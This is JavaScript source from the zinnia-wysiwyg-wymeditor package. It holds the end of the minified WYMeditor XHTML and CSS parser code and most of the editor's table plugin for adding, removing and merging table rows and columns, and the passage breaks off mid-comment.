this._Listener.getTagReplacements()},WYMeditor.XhtmlParser.prototype.normalizeTag=function(a){a=a.replace(/^([\s<\/>]*)|([\s<\/>]*)$/gm,"").toLowerCase();var b=this._Listener.getTagReplacements();return b[a]?b[a]:a},WYMeditor.XhtmlParser.prototype.TagAttributes=function(a,b){return WYMeditor.LEXER_SPECIAL==b&&(this._current_attribute=a),!0},WYMeditor.XhtmlParser.prototype.DoubleQuotedAttribute=function(a,b){return WYMeditor.LEXER_UNMATCHED==b&&(this._tag_attributes[this._current_attribute]=a),!0},WYMeditor.XhtmlParser.prototype.SingleQuotedAttribute=function(a,b){return WYMeditor.LEXER_UNMATCHED==b&&(this._tag_attributes[this._current_attribute]=a),!0},WYMeditor.XhtmlParser.prototype.UnquotedAttribute=function(a,b){return this._tag_attributes[this._current_attribute]=a.replace(/^=/,""),!0},WYMeditor.XhtmlSaxListener=function(){return this.output="",this.helper=new WYMeditor.XmlHelper,this._open_tags={},this.validator=WYMeditor.XhtmlValidator,this._tag_stack=[],this.avoided_tags=[],this._insert_before_closing=[],this._insert_after_closing=[],this._last_node_was_text=!1,this.entities={"&nbsp;":"&#160;","&iexcl;":"&#161;","&cent;":"&#162;","&pound;":"&#163;","&curren;":"&#164;","&yen;":"&#165;","&brvbar;":"&#166;","&sect;":"&#167;","&uml;":"&#168;","&copy;":"&#169;","&ordf;":"&#170;","&laquo;":"&#171;","&not;":"&#172;","&shy;":"&#173;","&reg;":"&#174;","&macr;":"&#175;","&deg;":"&#176;","&plusmn;":"&#177;","&sup2;":"&#178;","&sup3;":"&#179;","&acute;":"&#180;","&micro;":"&#181;","&para;":"&#182;","&middot;":"&#183;","&cedil;":"&#184;","&sup1;":"&#185;","&ordm;":"&#186;","&raquo;":"&#187;","&frac14;":"&#188;","&frac12;":"&#189;","&frac34;":"&#190;","&iquest;":"&#191;","&Agrave;":"&#192;","&Aacute;":"&#193;","&Acirc;":"&#194;","&Atilde;":"&#195;","&Auml;":"&#196;","&Aring;":"&#197;","&AElig;":"&#198;","&Ccedil;":"&#199;","&Egrave;":"&#200;","&Eacute;":"&#201;","&Ecirc;":"&#202;","&Euml;":"&#203;","&Igrave;":"&#204;","&Iacute;":"&#205;","&Icirc;":"&#206;","&Iuml;":"&#207;","&ETH;":"&#208;","&Ntilde;":"&#209;","&Ograve;":"&#210;","&Oacute;":"&#211;","&Ocirc;":"&#212;","&Otilde;":"&#213;","&Ouml;":"&#214;","&times;":"&#215;","&Oslash;":"&#216;","&Ugrave;":"&#217;","&Uacute;":"&#218;","&Ucirc;":"&#219;","&Uuml;":"&#220;","&Yacute;":"&#221;","&THORN;":"&#222;","&szlig;":"&#223;","&agrave;":"&#224;","&aacute;":"&#225;","&acirc;":"&#226;","&atilde;":"&#227;","&auml;":"&#228;","&aring;":"&#229;","&aelig;":"&#230;","&ccedil;":"&#231;","&egrave;":"&#232;","&eacute;":"&#233;","&ecirc;":"&#234;","&euml;":"&#235;","&igrave;":"&#236;","&iacute;":"&#237;","&icirc;":"&#238;","&iuml;":"&#239;","&eth;":"&#240;","&ntilde;":"&#241;","&ograve;":"&#242;","&oacute;":"&#243;","&ocirc;":"&#244;","&otilde;":"&#245;","&ouml;":"&#246;","&divide;":"&#247;","&oslash;":"&#248;","&ugrave;":"&#249;","&uacute;":"&#250;","&ucirc;":"&#251;","&uuml;":"&#252;","&yacute;":"&#253;","&thorn;":"&#254;","&yuml;":"&#255;","&OElig;":"&#338;","&oelig;":"&#339;","&Scaron;":"&#352;","&scaron;":"&#353;","&Yuml;":"&#376;","&fnof;":"&#402;","&circ;":"&#710;","&tilde;":"&#732;","&Alpha;":"&#913;","&Beta;":"&#914;","&Gamma;":"&#915;","&Delta;":"&#916;","&Epsilon;":"&#917;","&Zeta;":"&#918;","&Eta;":"&#919;","&Theta;":"&#920;","&Iota;":"&#921;","&Kappa;":"&#922;","&Lambda;":"&#923;","&Mu;":"&#924;","&Nu;":"&#925;","&Xi;":"&#926;","&Omicron;":"&#927;","&Pi;":"&#928;","&Rho;":"&#929;","&Sigma;":"&#931;","&Tau;":"&#932;","&Upsilon;":"&#933;","&Phi;":"&#934;","&Chi;":"&#935;","&Psi;":"&#936;","&Omega;":"&#937;","&alpha;":"&#945;","&beta;":"&#946;","&gamma;":"&#947;","&delta;":"&#948;","&epsilon;":"&#949;","&zeta;":"&#950;","&eta;":"&#951;","&theta;":"&#952;","&iota;":"&#953;","&kappa;":"&#954;","&lambda;":"&#955;","&mu;":"&#956;","&nu;":"&#957;","&xi;":"&#958;","&omicron;":"&#959;","&pi;":"&#960;","&rho;":"&#961;","&sigmaf;":"&#962;","&sigma;":"&#963;","&tau;":"&#964;","&upsilon;":"&#965;","&phi;":"&#966;","&chi;":"&#967;","&psi;":"&#968;","&omega;":"&#969;","&thetasym;":"&#977;","&upsih;":"&#978;","&piv;":"&#982;","&ensp;":"&#8194;","&emsp;":"&#8195;","&thinsp;":"&#8201;","&zwnj;":"&#8204;","&zwj;":"&#8205;","&lrm;":"&#8206;","&rlm;":"&#8207;","&ndash;":"&#8211;","&mdash;":"&#8212;","&lsquo;":"&#8216;","&rsquo;":"&#8217;","&sbquo;":"&#8218;","&ldquo;":"&#8220;","&rdquo;":"&#8221;","&bdquo;":"&#8222;","&dagger;":"&#8224;","&Dagger;":"&#8225;","&bull;":"&#8226;","&hellip;":"&#8230;","&permil;":"&#8240;","&prime;":"&#8242;","&Prime;":"&#8243;","&lsaquo;":"&#8249;","&rsaquo;":"&#8250;","&oline;":"&#8254;","&frasl;":"&#8260;","&euro;":"&#8364;","&image;":"&#8465;","&weierp;":"&#8472;","&real;":"&#8476;","&trade;":"&#8482;","&alefsym;":"&#8501;","&larr;":"&#8592;","&uarr;":"&#8593;","&rarr;":"&#8594;","&darr;":"&#8595;","&harr;":"&#8596;","&crarr;":"&#8629;","&lArr;":"&#8656;","&uArr;":"&#8657;","&rArr;":"&#8658;","&dArr;":"&#8659;","&hArr;":"&#8660;","&forall;":"&#8704;","&part;":"&#8706;","&exist;":"&#8707;","&empty;":"&#8709;","&nabla;":"&#8711;","&isin;":"&#8712;","&notin;":"&#8713;","&ni;":"&#8715;","&prod;":"&#8719;","&sum;":"&#8721;","&minus;":"&#8722;","&lowast;":"&#8727;","&radic;":"&#8730;","&prop;":"&#8733;","&infin;":"&#8734;","&ang;":"&#8736;","&and;":"&#8743;","&or;":"&#8744;","&cap;":"&#8745;","&cup;":"&#8746;","&int;":"&#8747;","&there4;":"&#8756;","&sim;":"&#8764;","&cong;":"&#8773;","&asymp;":"&#8776;","&ne;":"&#8800;","&equiv;":"&#8801;","&le;":"&#8804;","&ge;":"&#8805;","&sub;":"&#8834;","&sup;":"&#8835;","&nsub;":"&#8836;","&sube;":"&#8838;","&supe;":"&#8839;","&oplus;":"&#8853;","&otimes;":"&#8855;","&perp;":"&#8869;","&sdot;":"&#8901;","&lceil;":"&#8968;","&rceil;":"&#8969;","&lfloor;":"&#8970;","&rfloor;":"&#8971;","&lang;":"&#9001;","&rang;":"&#9002;","&loz;":"&#9674;","&spades;":"&#9824;","&clubs;":"&#9827;","&hearts;":"&#9829;","&diams;":"&#9830;"},this.block_tags=["a","abbr","acronym","address","area","b","base","bdo","big","blockquote","body","button","caption","cite","code","colgroup","dd","del","div","dfn","dl","dt","em","fieldset","form","head","h1","h2","h3","h4","h5","h6","html","i","ins","kbd","label","legend","li","map","noscript","object","ol","optgroup","option","p","param","pre","q","samp","script","select","small","span","strong","style","sub","sup","table","tbody","td","textarea","tfoot","th","thead","title","tr","tt","ul","var","extends"],this.inline_tags=["br","col","hr","img","input"],this},WYMeditor.XhtmlSaxListener.prototype.shouldCloseTagAutomatically=function(a,b,c){c=c||!1;if(a=="td"){if(c&&b=="tr"||!c&&b=="td")return!0}else if(a=="option")if(c&&b=="select"||!c&&b=="option")return!0;return!1},WYMeditor.XhtmlSaxListener.prototype.beforeParsing=function(a){return this.output="",this._insert_before_closing=[],this._insert_after_closing=[],this._open_tags={},this._tag_stack=[],this._last_node_was_text=!1,this.last_tag=null,a},WYMeditor.XhtmlSaxListener.prototype.afterParsing=function(a){return a=this.replaceNamedEntities(a),a=this.joinRepeatedEntities(a),a=this.removeEmptyTags(a),a=this.removeBrInPre(a),a},WYMeditor.XhtmlSaxListener.prototype.replaceNamedEntities=function(a){for(var b in this.entities)a=a.replace(new RegExp(b,"g"),this.entities[b]);return a},WYMeditor.XhtmlSaxListener.prototype.joinRepeatedEntities=function(a){var b="em|strong|sub|sup|acronym|pre|del|address";return a.replace(new RegExp("</("+b+")><\\1>",""),"").replace(new RegExp("(s*<("+b+")>s*){2}(.*)(s*</\\2>s*){2}",""),"<$2>$3<$2>")},WYMeditor.XhtmlSaxListener.prototype.removeEmptyTags=function(a){return a.replace(new RegExp("<("+this.block_tags.join("|").replace(/\|td/,"").replace(/\|th/,"")+")>(<br />|&#160;|&nbsp;|\\s)*</\\1>","g"),"")},WYMeditor.XhtmlSaxListener.prototype.removeBrInPre=function(a){var b=a.match(new RegExp("<pre[^>]*>(.*?)</pre>","gmi"));if(b)for(var c=0;c<b.length;c++)a=a.replace(b[c],b[c].replace(new RegExp("<br />","g"),String.fromCharCode(13,10)));return a},WYMeditor.XhtmlSaxListener.prototype.getResult=function(){return this.output},WYMeditor.XhtmlSaxListener.prototype.getTagReplacements=function(){return{b:"strong",i:"em"}},WYMeditor.XhtmlSaxListener.prototype.addContent=function(a){this.last_tag&&this.last_tag=="li"&&(a=a.replace(/(\r|\n|\r\n)+$/g,""),a=a.replace(/(\r|\n|\r\n)+/g," ")),a.replace(/^\s+|\s+$/g,"").length>0&&(this._last_node_was_text=!0),this.output+=a},WYMeditor.XhtmlSaxListener.prototype.addComment=function(a){this.remove_comments&&(this.output+=a)},WYMeditor.XhtmlSaxListener.prototype.addScript=function(a){this.remove_scripts||(this.output+=a)},WYMeditor.XhtmlSaxListener.prototype.addCss=function(a){this.remove_embeded_styles||(this.output+=a)},WYMeditor.XhtmlSaxListener.prototype.openBlockTag=function(a,b){this._last_node_was_text=!1,this.output+= this.helper.tag(a,this.validator.getValidTagAttributes(a,b),!0)},WYMeditor.XhtmlSaxListener.prototype.inlineTag=function(a,b){this._last_node_was_text=!1,this.output+=this.helper.tag(a,this.validator.getValidTagAttributes(a,b))},WYMeditor.XhtmlSaxListener.prototype.openUnknownTag=function(a,b){},WYMeditor.XhtmlSaxListener.prototype.closeBlockTag=function(a){this._last_node_was_text=!1,this.output=this.output.replace(/<br \/>$/,"")+this._getClosingTagContent("before",a)+"</"+a+">"+this._getClosingTagContent("after",a)},WYMeditor.XhtmlSaxListener.prototype.closeUnknownTag=function(a){},WYMeditor.XhtmlSaxListener.prototype.closeUnopenedTag=function(a){this._last_node_was_text=!1,this.output+="</"+a+">"},WYMeditor.XhtmlSaxListener.prototype.avoidStylingTagsAndAttributes=function(){this.avoided_tags=["div","span"],this.validator.skiped_attributes=["style"],this.validator.skiped_attribute_values=["MsoNormal","main1"],this._avoiding_tags_implicitly=!0},WYMeditor.XhtmlSaxListener.prototype.allowStylingTagsAndAttributes=function(){this.avoided_tags=[],this.validator.skiped_attributes=[],this.validator.skiped_attribute_values=[],this._avoiding_tags_implicitly=!1},WYMeditor.XhtmlSaxListener.prototype.isBlockTag=function(a){return!WYMeditor.Helper.contains(this.avoided_tags,a)&&WYMeditor.Helper.contains(this.block_tags,a)},WYMeditor.XhtmlSaxListener.prototype.isInlineTag=function(a){return!WYMeditor.Helper.contains(this.avoided_tags,a)&&WYMeditor.Helper.contains(this.inline_tags,a)},WYMeditor.XhtmlSaxListener.prototype.insertContentAfterClosingTag=function(a,b){this._insertContentWhenClosingTag("after",a,b)},WYMeditor.XhtmlSaxListener.prototype.insertContentBeforeClosingTag=function(a,b){this._insertContentWhenClosingTag("before",a,b)},WYMeditor.XhtmlSaxListener.prototype.fixNestingBeforeOpeningBlockTag=function(a,b){if(!this._last_node_was_text&&(a=="ul"||a=="ol")&&this.last_tag&&!this.last_tag_opened&&this.last_tag=="li")this.output=this.output.replace(/<\/li>\s*$/,""),this.insertContentAfterClosingTag(a,"</li>");else if(a!="ul"&&a!="ol"||!this.last_tag||!this.last_tag_opened||this.last_tag!="ul"&&this.last_tag!="ol"){if(a=="li"&&!this.last_tag_opened&&this._tag_stack.length>=2){var c=this._tag_stack[this._tag_stack.length-2];c=="li"&&(this._open_tags.li-=1,this._open_tags.li===0&&(this._open_tags.li=undefined),this._tag_stack.pop(this._tag_stack.length-2),this._last_node_was_text=!1,this.output+="</li>")}}else this._last_node_was_text=!1,this.output+=this.helper.tag("li",{},!0),this.insertContentAfterClosingTag(a,"</li>")},WYMeditor.XhtmlSaxListener.prototype._insertContentWhenClosingTag=function(a,b,c){this["_insert_"+a+"_closing"]||(this["_insert_"+a+"_closing"]=[]),this["_insert_"+a+"_closing"][b]||(this["_insert_"+a+"_closing"][b]=[]),this["_insert_"+a+"_closing"][b].push(c)},WYMeditor.XhtmlSaxListener.prototype._getClosingTagContent=function(a,b){return this["_insert_"+a+"_closing"]&&this["_insert_"+a+"_closing"][b]&&this["_insert_"+a+"_closing"][b].length>0?this["_insert_"+a+"_closing"][b].pop():""},WYMeditor.WymCssLexer=function(a,b){return b=typeof b=="undefined"?!0:b,jQuery.extend(this,new WYMeditor.Lexer(a,b?"Ignore":"WymCss")),this.mapHandler("WymCss","Ignore"),b===!0&&(this.addEntryPattern("/\\*[<\\s]*WYMeditor[>\\s]*\\*/","Ignore","WymCss"),this.addExitPattern("/\\*[</\\s]*WYMeditor[>\\s]*\\*/","WymCss")),this.addSpecialPattern("[\\sa-z1-6]*\\.[a-z-_0-9]+","WymCss","WymCssStyleDeclaration"),this.addEntryPattern("/\\*","WymCss","WymCssComment"),this.addExitPattern("\\*/","WymCssComment"),this.addEntryPattern("{","WymCss","WymCssStyle"),this.addExitPattern("}","WymCssStyle"),this.addEntryPattern("/\\*","WymCssStyle","WymCssFeedbackStyle"),this.addExitPattern("\\*/","WymCssFeedbackStyle"),this},WYMeditor.WymCssParser=function(){return this._in_style=!1,this._has_title=!1,this.only_wym_blocks=!0,this.css_settings={classesItems:[],editorStyles:[],dialogStyles:[]},this},WYMeditor.WymCssParser.prototype.parse=function(a,b){b=typeof b=="undefined"?this.only_wym_blocks:b,this._Lexer=new WYMeditor.WymCssLexer(this,b),this._Lexer.parse(a)},WYMeditor.WymCssParser.prototype.Ignore=function(a,b){return!0},WYMeditor.WymCssParser.prototype.WymCssComment=function(a,b){return a.match(/end[a-z0-9\s]*wym[a-z0-9\s]*/mi)?!1:(b==WYMeditor.LEXER_UNMATCHED&&(this._in_style?this._current_item[this._current_element]&&(this._current_item[this._current_element].expressions?this._current_item[this._current_element].expressions.push(a):this._current_item[this._current_element].expressions=[a]):(this._has_title=!0,this._current_item={title:WYMeditor.Helper.trim(a)}),this._in_style=!0),!0)},WYMeditor.WymCssParser.prototype.WymCssStyle=function(a,b){return b==WYMeditor.LEXER_UNMATCHED?(a=WYMeditor.Helper.trim(a),a!==""&&(this._current_item[this._current_element].style=a)):b==WYMeditor.LEXER_EXIT&&(this._in_style=!1,this._has_title=!1,this.addStyleSetting(this._current_item)),!0},WYMeditor.WymCssParser.prototype.WymCssFeedbackStyle=function(a,b){return b==WYMeditor.LEXER_UNMATCHED&&(this._current_item[this._current_element].feedback_style=a.replace(/^([\s\/\*]*)|([\s\/\*]*)$/gm,"")),!0},WYMeditor.WymCssParser.prototype.WymCssStyleDeclaration=function(a){a=a.replace(/^([\s\.]*)|([\s\.*]*)$/gm,"");var b="";if(a.indexOf(".")>0){var c=a.split(".");this._current_element=c[1],b=c[0]}else this._current_element=a;return this._has_title||(this._current_item={title:(b?b.toUpperCase()+": ":"")+this._current_element},this._has_title=!0),this._current_item[this._current_element]||(this._current_item[this._current_element]={name:this._current_element}),b&&(this._current_item[this._current_element].tags?this._current_item[this._current_element].tags.push(b):this._current_item[this._current_element].tags=[b]),!0},WYMeditor.WymCssParser.prototype.addStyleSetting=function(a){for(var b in a){var c=a[b];typeof c=="object"&&b!="title"&&(this.css_settings.classesItems.push({name:WYMeditor.Helper.trim(c.name),title:a.title,expr:WYMeditor.Helper.trim((c.expressions||c.tags).join(", "))}),c.feedback_style&&this.css_settings.editorStyles.push({name:"."+WYMeditor.Helper.trim(c.name),css:c.feedback_style}),c.style&&this.css_settings.dialogStyles.push({name:"."+WYMeditor.Helper.trim(c.name),css:c.style}))}};
zinnia-wysiwyg-wymeditor
/zinnia-wysiwyg-wymeditor-1.2.tar.gz/zinnia-wysiwyg-wymeditor-1.2/zinnia_wymeditor/static/zinnia_wymeditor/js/wymeditor/jquery.wymeditor.min.js
jquery.wymeditor.min.js
function TableEditor(options, wym) { options = jQuery.extend({ sMergeRowButtonHtml: String() + '<li class="wym_tools_merge_row">' + '<a name="merge_row" href="#" title="Merge Cells" ' + 'style="background-image: ' + "url('" + wym._options.basePath + "plugins/table/table_join_row.png')" + '">' + 'Merge Table Row' + '</a>' + '</li>', sMergeRowButtonSelector: "li.wym_tools_merge_row a", sAddRowButtonHtml: String() + "<li class='wym_tools_add_row'>" + "<a name='add_row' href='#' " + "title='Add Row' " + "style='background-image:" + " url(" + wym._options.basePath + "plugins/table/table_insert_row.png)'>" + "Add Table Row" + "</a>" + "</li>", sAddRowButtonSelector: "li.wym_tools_add_row a", sRemoveRowButtonHtml: String() + "<li class='wym_tools_remove_row'>" + "<a name='remove_row' href='#' " + "title='Remove Row' " + "style='background-image: " + "url(" + wym._options.basePath + "plugins/table/table_delete_row.png)'>" + "Remove Table Row" + "</a>" + "</li>", sRemoveRowButtonSelector: "li.wym_tools_remove_row a", sAddColumnButtonHtml: String() + "<li class='wym_tools_add_column'>" + "<a name='add_column' href='#' " + "title='Add Column' " + "style='background-image: " + "url(" + wym._options.basePath + "plugins/table/table_insert_column.png)'>" + "Add Table Column" + "</a>" + "</li>", sAddColumnButtonSelector: "li.wym_tools_add_column a", sRemoveColumnButtonHtml: String() + "<li class='wym_tools_remove_column'>" + "<a name='remove_column' href='#' " + "title='Remove Column' " + "style='background-image: " + "url(" + wym._options.basePath + "plugins/table/table_delete_column.png)'>" + "Remove Table Column" + "</a>" + "</li>", sRemoveColumnButtonSelector: "li.wym_tools_remove_column a", enableCellTabbing: true }, options); this._options = options; this._wym = wym; this.init(); } /** * Construct and return a table objects using the given options object. * * @param options The configuration object. */ WYMeditor.editor.prototype.table = function (options) { var tableEditor = new TableEditor(options, this); this.tableEditor = tableEditor; return tableEditor; }; /** * Initialize the TableEditor object by adding appropriate toolbar buttons and * binding any required event listeners. */ TableEditor.prototype.init = function () { var wym = this._wym, tableEditor = this, // Add the tool panel buttons tools = jQuery(wym._box).find( wym._options.toolsSelector + wym._options.toolsListSelector ); tools.append(tableEditor._options.sMergeRowButtonHtml); tools.append(tableEditor._options.sAddRowButtonHtml); tools.append(tableEditor._options.sRemoveRowButtonHtml); tools.append(tableEditor._options.sAddColumnButtonHtml); tools.append(tableEditor._options.sRemoveColumnButtonHtml); tableEditor.bindEvents(); rangy.init(); }; /** * Bind all required event listeners, including button listeners and support for * tabbing through table cells if enableCellTabbing is true. */ TableEditor.prototype.bindEvents = function () { var wym = this._wym, tableEditor = this; // Handle tool button click jQuery(wym._box).find(tableEditor._options.sMergeRowButtonSelector).click(function () { var sel = rangy.getIframeSelection(wym._iframe); tableEditor.mergeRow(sel); return false; }); jQuery(wym._box).find(tableEditor._options.sAddRowButtonSelector).click(function () { return tableEditor.addRow(wym.selected()); }); jQuery(wym._box).find(tableEditor._options.sRemoveRowButtonSelector).click(function () { return tableEditor.removeRow(wym.selected()); }); jQuery(wym._box).find(tableEditor._options.sAddColumnButtonSelector).click(function () { return tableEditor.addColumn(wym.selected()); }); jQuery(wym._box).find(tableEditor._options.sRemoveColumnButtonSelector).click(function () { return tableEditor.removeColumn(wym.selected()); }); // Handle tab clicks if (tableEditor._options.enableCellTabbing) { jQuery(wym._doc).bind('keydown', tableEditor.keyDown); } }; /** * Get the number of columns in a given tr element, accounting for colspan and * rowspan. This function assumes that the table structure is valid, and will * return incorrect results for uneven tables. * * @param tr The <tr> node whose number of columns we need to count. * * @returns {Number} The number of columns in the given tr, accounting for * colspan and rowspan. */ TableEditor.prototype.getNumColumns = function (tr) { var wym = this._wym, numColumns = 0, table, firstTr; table = wym.findUp(tr, 'table'); firstTr = jQuery(table).find('tr:eq(0)'); // Count the tds and ths in the FIRST ROW of this table, accounting for // colspan. We count the first td because it won't have any rowspan's before // it to complicate things jQuery(firstTr).children('td,th').each(function (index, elmnt) { numColumns += TableEditor.GET_COLSPAN_PROP(elmnt); }); return numColumns; }; /** TableEditor.GET_COLSPAN_PROP ============================ Get the integer value of the inferred colspan property on the given cell in a cross-browser compatible way that's also compatible across jquery versions. jquery 1.6 changed the way .attr works, which affected certain browsers differently with regard to colspan and rowspan for cells that didn't explcility have that attribue set. */ TableEditor.GET_COLSPAN_PROP = function (cell) { var colspan = jQuery(cell).attr('colspan'); if (typeof colspan === 'undefined') { colspan = 1; } return parseInt(colspan, 10); }; /** TableEditor.GET_ROWSPAN_PROP ============================ Get the integer value of the inferred rowspan property on the given cell in a cross-browser compatible way that's also compatible across jquery versions. See GET_COLSPAN_PROP for details */ TableEditor.GET_ROWSPAN_PROP = function (cell) { var rowspan = jQuery(cell).attr('rowspan'); if (typeof rowspan === 'undefined') { rowspan = 1; } return parseInt(rowspan, 10); }; /** * Get the X grid index of the given td or th table cell (0-indexed). This takes * in to account all colspans and rowspans. * * @param cell The td or th node whose X index we're returning. */ TableEditor.prototype.getCellXIndex = function (cell) { var tableEditor = this, i, parentTr, baseRowColumns, rowColCount, missingCells, rowspanIndexes, checkTr, rowOffset, trChildren, elmnt, colspan, indexCounter, cellIndex; parentTr = jQuery(cell).parent('tr')[0]; baseRowColumns = this.getNumColumns(parentTr); // Figure out how many explicit cells are missing which is how many rowspans // we're affected by rowColCount = 0; jQuery(parentTr).children('td,th').each(function (index, elmnt) { rowColCount += TableEditor.GET_COLSPAN_PROP(elmnt); }); missingCells = baseRowColumns - rowColCount; rowspanIndexes = []; checkTr = parentTr; rowOffset = 1; // If this cell is affected by a rowspan from farther up the table, // we need to take in to account any possible colspan attributes on that // cell. Store the real X index of the cells to the left of our cell to use // in the colspan calculation. while (missingCells > 0) { checkTr = jQuery(checkTr).prev('tr'); rowOffset += 1; trChildren = jQuery(checkTr).children('td,th'); for (i = 0; i < trChildren.length; i++) { elmnt = trChildren[i]; if (TableEditor.GET_ROWSPAN_PROP(elmnt) >= rowOffset) { // Actually affects our source row missingCells -= 1; colspan = TableEditor.GET_COLSPAN_PROP(elmnt); rowspanIndexes[tableEditor.getCellXIndex(elmnt)] = colspan; } } } indexCounter = 0; cellIndex = null; // Taking in to account the real X indexes of all of the columns to the left // of this cell, determine the real X index. jQuery(parentTr).children('td,th').each(function (index, elmnt) { if (cellIndex !== null) { // We've already iterated to the cell we're checking return; } // Account for an inferred colspan created by a rowspan from above while (typeof rowspanIndexes[indexCounter] !== 'undefined') { indexCounter += parseInt(rowspanIndexes[indexCounter], 10); } if (elmnt === cell) { // We're at our cell, no need to keep moving to the right. // Signal this by setting the cellIndex cellIndex = indexCounter; return; } // Account for an explicit colspan on this cell indexCounter += TableEditor.GET_COLSPAN_PROP(elmnt); }); if (cellIndex === null) { // Somehow, we never found the cell when iterating over its row. throw "Cell index not found"; } return cellIndex; }; /** * Get the number of columns represented by the given array of contiguous cell * (td/th) nodes. * Accounts for colspan and rowspan attributes. * * @param cells An array of td/th nodes whose total column span we're checking. * * @return {Number} The number of columns represented by the "cells" */ TableEditor.prototype.getTotalColumns = function (cells) { var tableEditor = this, rootTr = this.getCommonParentTr(cells), baseRowColumns, colspanCount, rowColCount; if (rootTr === null) { // Non-contiguous columns throw "getTotalColumns only allowed for contiguous cells"; } baseRowColumns = this.getNumColumns(rootTr); // Count the number of simple columns, not accounting for rowspans colspanCount = 0; jQuery(cells).each(function (index, elmnt) { colspanCount += TableEditor.GET_COLSPAN_PROP(elmnt); }); // Determine if we're affected by rowspans. If the number of simple columns // in the row equals the number of columns in the first row, we don't have // any rowspans rowColCount = 0; jQuery(rootTr).children('td,th').each(function (index, elmnt) { rowColCount += TableEditor.GET_COLSPAN_PROP(elmnt); }); if (rowColCount === baseRowColumns) { // Easy case. No rowspans to deal with return colspanCount; } else { if (cells.length === 1) { // Easy. Just the colspan return TableEditor.GET_COLSPAN_PROP(cells[0]); } else { var lastCell = jQuery(cells).eq(cells.length - 1)[0], firstCell = jQuery(cells).eq(0)[0]; // On jQuery 1.4 upgrade, jQuery(cells).eq(-1) return 1 + tableEditor.getCellXIndex(lastCell) - tableEditor.getCellXIndex(firstCell); } } }; /** * Merge the table cells in the given selection using a colspan. * * @param sel A rangy selection object across which to row merge. * * @return {Boolean} true if changes are made, false otherwise */ TableEditor.prototype.mergeRow = function (sel) { var wym = this._wym, tableEditor = this, i, // Get all of the affected nodes in the range nodes = [], range = null, cells, rootTr, mergeCell, $elmnt, rowspanProp; for (i = 0; i < sel.rangeCount; i++) { range = sel.getRangeAt(i); nodes = nodes.concat(range.getNodes(false)); } // Just use the td and th nodes cells = jQuery(nodes).filter('td,th'); if (cells.length === 0) { return false; } // If the selection is across multiple tables, don't merge rootTr = tableEditor.getCommonParentTr(cells); if (rootTr === null) { return false; } mergeCell = cells[0]; // If any of the cells have a rowspan, create the inferred cells jQuery(cells).each(function (i, elmnt) { $elmnt = jQuery(elmnt); rowspanProp = TableEditor.GET_ROWSPAN_PROP(elmnt); if (rowspanProp <= 1) { // We don't care about cells without a rowspan return; } // This cell has an actual rowspan, we need to account for it // Figure out the x index for this cell in the table grid var prevCells = $elmnt.prevAll('td,th'), index = tableEditor.getCellXIndex(elmnt), // Create the previously-inferred cell in the appropriate index // with one less rowspan newRowspan = rowspanProp - 1, newTd; if (newRowspan === 1) { newTd = '<td>' + $elmnt.html() + '</td>'; } else { newTd = String() + '<td rowspan="' + newRowspan + '">' + $elmnt.html() + '</td>'; } if (index === 0) { $elmnt.parent('tr') .next('tr') .prepend(newTd); } else { // TODO: account for colspan/rowspan with insertion // Account for colspan/rowspan by walking from right to left looking // for the cell closest to the desired index to APPEND to var insertionIndex = index - 1, insertionCells = $elmnt.parent('tr').next('tr') .find('td,th'), cellInserted = false; for (i = insertionCells.length - 1; i >= 0; i--) { var xIndex = tableEditor.getCellXIndex(insertionCells[i]); if (xIndex <= insertionIndex) { jQuery(insertionCells[i]).append(newTd); cellInserted = true; break; } } if (!cellInserted) { // Bail out now before we clear HTML and break things throw "Cell rowspan invalid"; } } // Clear the cell's html, since we just moved it down $elmnt.html(''); }); // Remove any rowspan from the mergecell now that we've shifted rowspans // down // ie fails when we try to remove a rowspan for some reason try { jQuery(mergeCell).removeAttr('rowspan'); } catch (err) { jQuery(mergeCell).attr('rowspan', 1); } // Build the content of the new combined cell from all of the included cells var newContent = ''; jQuery(cells).each(function (index, elmnt) { newContent += jQuery(elmnt).html(); }); // Add a colspan to the farthest-left cell var combinedColspan = this.getTotalColumns(cells); if (jQuery.browser.msie) { // jQuery.attr doesn't work for colspan in ie mergeCell.colSpan = combinedColspan; } else { jQuery(mergeCell).attr('colspan', combinedColspan); } // Delete the rest of the cells jQuery(cells).each(function (index, elmnt) { if (index !== 0) { jQuery(elmnt).remove(); } }); // Change the content in our newly-merged cell jQuery(mergeCell).html(newContent); tableEditor.selectElement(mergeCell); return true; }; /** * Add a row to the given elmnt (representing a <tr> or a child of a <tr>). * * @param The node which will have a row appended after its parent row. */ TableEditor.prototype.addRow = function (elmnt) { var wym = this._wym, tr = this._wym.findUp(elmnt, 'tr'), numColumns, tdHtml, i; if (tr === null) { return false; } numColumns = this.getNumColumns(tr); tdHtml = ''; for (i = 0; i < numColumns; i++) { tdHtml += '<td>&nbsp;</td>'; } jQuery(tr).after('<tr>' + tdHtml + '</tr>'); return false; }; /** * Remove the given table if it doesn't have any rows/columns. * * @param table The table to delete if it is empty. */ TableEditor.prototype.removeEmptyTable = function (table) { var cells = jQuery(table).find('td,th'); if (cells.length === 0) { jQuery(table).remove(); } }; /** * Remove the row for the given element (representing a <tr> or a child * of a <tr>). * * @param elmnt The node whose parent tr will be removed. */ TableEditor.prototype.removeRow = function (elmnt) { var wym = this._wym, tr = this._wym.findUp(elmnt, 'tr'), table; if (tr === null) { return false; } table = wym.findUp(elmnt, 'table'); jQuery(tr).remove(); this.removeEmptyTable(table); return false; }; /** * Add a column to the given elmnt (representing a <td> or a child of a <td>). * * @param elmnt The node which will have a column appended afterward. */ TableEditor.prototype.addColumn = function (elmnt) { var wym = this._wym, td = this._wym.findUp(elmnt, ['td', 'th']), prevTds, tdIndex, tr, newTd = '<td>&nbsp;</td>', newTh = '<th>&nbsp;</th>', insertionElement; if (td === null) { return false; } prevTds = jQuery(td).prevAll(); tdIndex = prevTds.length; tr = wym.findUp(td, 'tr'); jQuery(tr).siblings('tr').andSelf().each(function (index, element) { insertionElement = newTd; if (jQuery(element).find('th').length > 0) { // The row has a TH, so insert a th insertionElement = newTh; } jQuery(element).find('td,th').eq(tdIndex).after(insertionElement); }); return false; }; /** * Remove the column to the right of the given elmnt (representing a <td> or a * child of a <td>). */ TableEditor.prototype.removeColumn = function (elmnt) { var wym = this._wym, td = this._wym.findUp(elmnt, ['td', 'th']), table, prevTds, tdIndex, tr; if (td === null) { return false; } table = wym.findUp(elmnt, 'table'); prevTds = jQuery(td).prevAll(); tdIndex = prevTds.length; tr = wym.findUp(td, 'tr'); jQuery(tr).siblings('tr').each(function (index, element) { jQuery(element).find('td,th').eq(tdIndex).remove(); }); jQuery(td).remove(); this.removeEmptyTable(table); return false; }; /** * keyDown event handler used for consistent tab key 